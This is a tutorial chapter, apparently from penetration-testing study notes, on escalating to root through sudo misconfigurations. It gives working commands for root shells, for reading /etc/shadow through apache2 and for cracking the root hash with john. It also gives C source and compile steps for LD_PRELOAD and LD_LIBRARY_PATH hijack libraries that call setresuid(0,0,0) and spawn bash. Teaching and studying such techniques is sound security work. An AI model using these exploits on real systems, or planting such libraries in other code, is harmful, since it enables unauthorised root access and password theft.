# 6. Sudo

### Introduction

sudo is a program which lets users run other programs with the security privileges of other users. By default, that other user will be root.

A user generally needs to enter their password to use sudo, and they must be permitted access via rule(s) in the /etc/sudoers file.

Rules can be used to limit users to certain programs, and forgo the password entry requirement.

***

### Useful Commands

Run a program using sudo:

```bash
$ sudo <program>
```

Run a program as a specific user:

```bash
$ sudo –u <username> <program>
```

List programs a user is allowed (and disallowed) to run:

```bash
$ sudo -l
```

***

### Known Password

By far the most obvious privilege escalation with sudo is to use sudo as it was intended!

If your low privileged user account can use sudo unrestricted (i.e. you can run any programs) and you know the user’s password, privilege escalation is easy, by using the “switch user” (su) command to spawn a root shell:

```bash
$ sudo su
```

***

### Other Methods

If for some reason the su program is not allowed, there are many other ways to escalate privileges:

```bash
$ sudo -s
$ sudo -i
$ sudo /bin/bash
$ sudo passwd
```

***

### Shell Escape Sequences

Even if we are restricted to running certain programs via sudo, it is sometimes possible to “escape” the program and spawn a shell.

Since the initial program runs with root privileges, so does the spawned shell.

A list of programs with their shell escape sequences can be found here: [GTFOBins](https://gtfobins.github.io/)

1. List the programs your user is allowed to run via `sudo -l`
2. For each program in the list, see if there is a shell escape sequence on GTFOBins
3. If an escape sequence exists, run the program via sudo and perform the sequence to spawn a root shell.

***

### Abusing Intended Functionality

If a program doesn’t have an escape sequence, it may still be possible to use it to escalate privileges.

If we can read files owned by root, we may be able to extract useful information (e.g. passwords, hashes, keys).

If we can write to files owned by root, we may be able to insert or modify information.

1. List the programs your user is allowed to run via sudo:
   * ```bash
     $ sudo -l
     ...
     (root) NOPASSWD: /usr/sbin/apache2
     ```
   * Note that apache2 is in the list.
2. apache2 doesn’t have any known shell escape sequences, however when parsing a given config file, it will error and print any line it doesn’t understand
3. Run apache2 using sudo, and provide it the **/etc/shadow** file as a config file:
   * ```bash
     $ sudo apache2 -f /etc/shadow
     Syntax error on line 1 of /etc/shadow:
     Invalid command 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84O WAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration
     ```
4. Extract the root user’s hash from the file and crack it with john.
   * ```bash
     john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
     ```

***

### Environment Variables

Programs run through sudo can inherit the environment variables from the user’s environment.

In the **/etc/sudoers** config file, if the **env\_reset** option is set, sudo will run programs in a new, minimal environment.

The **env\_keep** option can be used to keep certain environment variables from the user’s environment.

The configured options are displayed when running `sudo -l`

#### 1. LD\_PRELOAD

LD\_PRELOAD is an environment variable which can be set to the path of a shared object (.so) file.

When set, the shared object will be loaded before any others.

By creating a custom shared object and creating an init() function, we can execute code as soon as the object is loaded.

**Limitations**

LD\_PRELOAD will not work if the real user ID is different from the effective user ID.

sudo must be configured to preserve the LD\_PRELOAD environment variable using the env\_keep option.

1. List the programs your user is allowed to run via sudo:
   * ```bash
     $ sudo -l
     Matching Defaults entries for user on this host:
     env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
     ...
     ```
   * Note that the env\_keep option includes the LD\_PRELOAD environment variable.
2. Create a file (preload.c) with the following contents:
   * ```c
     #include <stdio.h>
     #include <sys/types.h>
     #include <stdlib.h>
     void _init() {
     	unsetenv("LD_PRELOAD");
     	setresuid(0,0,0);
     	system("/bin/bash -p");
     }
     ```
3. Compile preload.c to preload.so:
   * ```bash
     $ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
     ```
4. Run any allowed program using sudo, while setting the LD\_PRELOAD environment variable to the full path of the preload.so file:
   * ```bash
     $ sudo LD_PRELOAD=/tmp/preload.so apache2
     # id
     uid=0(root) gid=0(root) groups=0(root)
     ```

#### 2. LD\_LIBRARY\_PATH

The LD\_LIBRARY\_PATH environment variable contains a set of directories where shared libraries are searched for first.

The `ldd` command can be used to print the shared libraries used by a program:

```bash
$ ldd /usr/sbin/apache2
```

By creating a shared library with the same name as one used by a program, and setting LD\_LIBRARY\_PATH to its parent directory, the program will load our shared library instead.

1. Run ldd against the apache2 program file:
   * ```bash
     $ ldd /usr/sbin/apache2
     linux-vdso.so.1 => (0x00007fff063ff000)
     ...
     libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f7d4199d000)
     libdl.so.2 => /lib/libdl.so.2 (0x00007f7d41798000)
     libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f7d41570000)
     /lib64/ld-linux-x86-64.so.2 (0x00007f7d42e84000)
     ```
   * Hijacking shared objects using this method is hit or miss. Choose one from the list and try it (libcrypt.so.1 seems to work well).
2. Create a file (library\_path.c) with the following contents:
   * ```c
     #include <stdio.h>
     #include <stdlib.h>
     static void hijack() __attribute__((constructor));
     void hijack() {
     	unsetenv("LD_LIBRARY_PATH");
     	setresuid(0,0,0);
     	system("/bin/bash -p");
     }
     ```
3. Compile library\_path.c into libcrypt.so.1:
   * ```bash
     $ gcc -o libcrypt.so.1 -shared -fPIC library_path.c
     ```
4. Run apache2 using sudo, while setting the LD\_LIBRARY\_PATH environment variable to the current path (where we compiled library\_path.c):
   * ```bash
     $ sudo LD_LIBRARY_PATH=. apache2
     # id
     uid=0(root) gid=0(root) groups=0(root)
     ```

***
